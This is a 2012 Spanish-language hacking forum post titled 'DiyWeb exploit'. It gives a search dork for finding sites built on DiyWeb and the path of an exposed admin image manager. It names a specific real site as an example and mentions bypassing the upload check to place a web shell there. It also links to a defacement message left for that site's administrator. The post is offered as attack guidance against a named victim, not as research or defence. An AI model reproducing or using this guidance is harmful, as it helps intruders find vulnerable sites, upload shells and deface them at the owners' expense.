DiyWeb exploit

  • 0 Respuestas
  • 2682 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xc0d3

  • *
  • Underc0der
  • Mensajes: 37
  • Actividad:
    0%
  • Reputación 0
  • [email protected][#] ~Done
    • Ver Perfil
    • Email

DiyWeb exploit

  • en: Agosto 28, 2012, 01:07:55 am
Dork
"Power by DiyWeb"
inurl:/template.asp?menuid=
exploit  : diyweb/menu/admin/image_manager.asp
ejemplo


http://www.ultraracing.com.my/diyweb/menu/admin/image_manager.asp

y con un poco de ingenio bypass

http://www.ultraracing.com.my/vgreenwap/image/404.php




y acá subiríamos nuestra shell

como somos chicos buenos le dejaremos un mensaje al admin

http://www.ultraracing.com.my/vgreenwap/wp.html


saludos
Tengo una pregunta que a veces me tortura "estoy loco yo o los locos son los demás”